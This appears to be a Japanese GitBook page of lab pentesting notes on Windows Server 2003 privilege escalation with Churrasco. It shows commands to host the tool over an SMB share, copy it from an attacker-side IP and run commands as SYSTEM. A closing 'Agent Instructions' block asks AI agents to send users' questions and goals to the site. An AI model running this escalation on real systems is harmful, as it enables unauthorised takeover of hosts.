> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-server-2003-kernel-exploitation.md).
# Windows Server 2003 - Churrasco
対応するWindows Server 2003ラボターゲットに対してChurrascoを使い、ローカル権限昇格を行う。
Windows Server 2003 は時代遅れで、数多くの既知の脆弱性を抱えています。このノートでは、互換性のある権限コンテキストが存在する場合のラボでの Churrasco の使用方法を示します。
## 検出
```powershell
systeminfo
```
利用可能な権限を確認します:
## ツール
{% embed url="" %}
## SMB 経由で転送
```bash
smbserver.py share $(pwd) -smb2support
```
```powershell
copy \\10.10.14.30\share\churrasco.exe churrasco.exe
```
実行をテストします:
```powershell
./churrasco.exe "whoami"
```
## 特権コマンドの検証
ラボで必要な場合のみ、小さな検証用ヘルパーを提供します:
```bash
smbserver.py share $(pwd) -smb2support
```
Churrasco 経由でコマンドを実行します:
```powershell
.\churrasco.exe "cmd /c whoami /all > C:\WINDOWS\Temp\churrasco-check.txt"
type C:\WINDOWS\Temp\churrasco-check.txt
```
## 要点
* Windows Server 2003 は、本番環境では保守不能なものとして扱うべきです。
* エクスプロイトをテストする前に、アーキテクチャと権限を確認してください。
* システムを廃止するか、移行が完了するまで厳格な分離を適用して対処します。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-server-2003-kernel-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)